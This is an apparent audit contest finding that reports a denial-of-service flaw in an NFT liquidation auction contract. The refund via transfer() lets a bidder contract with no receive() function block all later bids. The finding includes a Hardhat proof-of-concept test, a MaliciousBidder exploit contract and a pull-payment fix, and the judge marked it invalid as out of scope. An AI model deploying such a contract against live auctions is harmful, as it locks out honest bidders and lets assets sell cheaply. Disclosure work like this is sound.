Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Denial of Service Vulnerability in Auction Bidding Mechanism

Summary

Vulnerability Details

The placeBid() function and buyBackNFT() function attempts to directly transfer ETH to the previous highest bidder when a new bid is placed:

if (data.highestBidder != address(0)) {
payable(data.highestBidder).transfer(data.highestBid);
}

This implementation is problematic because:

  • If the recipient is a smart contract:

    • Without a receive() function

    • With a receive() function that uses more than 2300 gas

    • With a failing receive() function

The transfer will fail and revert the entire transaction
A malicious actor could exploit this by:

  1. Creating a contract without a receive() function

  2. Placing a bid using this contract

  3. Effectively blocking all future bids as the refund will always fail

Impact

  1. Fund Lock: Legitimate bidders cannot participate, potentially leading to NFTs being sold at lower prices

  2. Affected auctions become completely non-functional

Proof of concept

  1. Add this in test/e2e/sometestfilename.ts

const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("NFTLiquidator Vulnerability POC", function () {
let owner, stablePool, bidder, maliciousEOA;
let crvUSD, nft, nftLiquidator, maliciousBidder;
const tokenId = 1;
const debt = ethers.parseEther("1");
before(async function () {
[owner, stablePool, bidder, maliciousEOA] = await ethers.getSigners();
const ERC20Mock = await ethers.getContractFactory("ERC20Mock");
crvUSD = await ERC20Mock.deploy("CRVUSD", "CRV", 18, ethers.parseEther("10000"));
await crvUSD.deployed();
const ERC721Mock = await ethers.getContractFactory("ERC721Mock");
nft = await ERC721Mock.deploy("MockNFT", "MNFT");
await nft.deployed();
await nft.connect(owner).mint(stablePool.address, tokenId);
const NFTLiquidator = await ethers.getContractFactory("NFTLiquidator");
nftLiquidator = await NFTLiquidator.deploy(crvUSD.address, nft.address, stablePool.address, 10);
await nftLiquidator.deployed();
await nftLiquidator.connect(stablePool).setStabilityPool(stablePool.address);
await nft.connect(stablePool).approve(nftLiquidator.address, tokenId);
await nftLiquidator.connect(stablePool).liquidateNFT(tokenId, debt);
const MaliciousBidder = await ethers.getContractFactory("MaliciousBidder");
maliciousBidder = await MaliciousBidder.deploy();
await maliciousBidder.deployed();
});
it("should allow a malicious bidder to block refunds", async function () {
const maliciousBidValue = ethers.parseEther("2");
await maliciousBidder.connect(maliciousEOA).bid(nftLiquidator.address, tokenId, { value: maliciousBidValue });
let auctionInfo = await nftLiquidator.tokenData(tokenId);
expect(auctionInfo.highestBid).to.equal(maliciousBidValue);
const honestBid = ethers.parseEther("3");
await expect(
nftLiquidator.connect(bidder).placeBid(tokenId, { value: honestBid })
).to.be.reverted;
});
});
  1. the code for malicious contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract MaliciousBidder {
// No receive() or fallback() defined, so any ETH sent will revert.
function bid(address nftLiquidator, uint256 tokenId) external payable {
(bool success, ) = nftLiquidator.call{value: msg.value}(abi.encodeWithSignature("placeBid(uint256)", tokenId));
require(success, "Bid failed");
}
}

Recommendations

mapping(address => uint256) public pendingWithdrawals;
function placeBid(uint256 tokenId) external payable {
TokenData storage data = tokenData[tokenId];
if (block.timestamp >= data.auctionEndTime) revert AuctionHasEnded();
uint256 minBidAmount = data.highestBid + (data.highestBid * minBidIncreasePercentage / 100);
if (msg.value <= minBidAmount) revert BidTooLow(minBidAmount);
// Instead of direct transfer, track owed funds
if (data.highestBidder != address(0)) {
pendingWithdrawals[data.highestBidder] += data.highestBid;
}
data.highestBid = msg.value;
data.highestBidder = msg.sender;
emit BidPlaced(tokenId, msg.sender, msg.value);
}
// Add withdrawal function
function withdraw() external nonReentrant {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "No funds to withdraw");
pendingWithdrawals[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
// ... existing code ...
function endAuction(uint256 tokenId) external {
TokenData storage data = tokenData[tokenId];
if (block.timestamp < data.auctionEndTime) revert AuctionNotEnded();
if (data.highestBidder == address(0)) revert NoBidsPlaced();
address winner = data.highestBidder;
uint256 winningBid = data.highestBid;
delete tokenData[tokenId];
nftContract.transferFrom(address(this), winner, tokenId);
// Change from direct transfer to accounting
pendingWithdrawals[stabilityPool] += winningBid;
emit AuctionEnded(tokenId, winner, winningBid);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!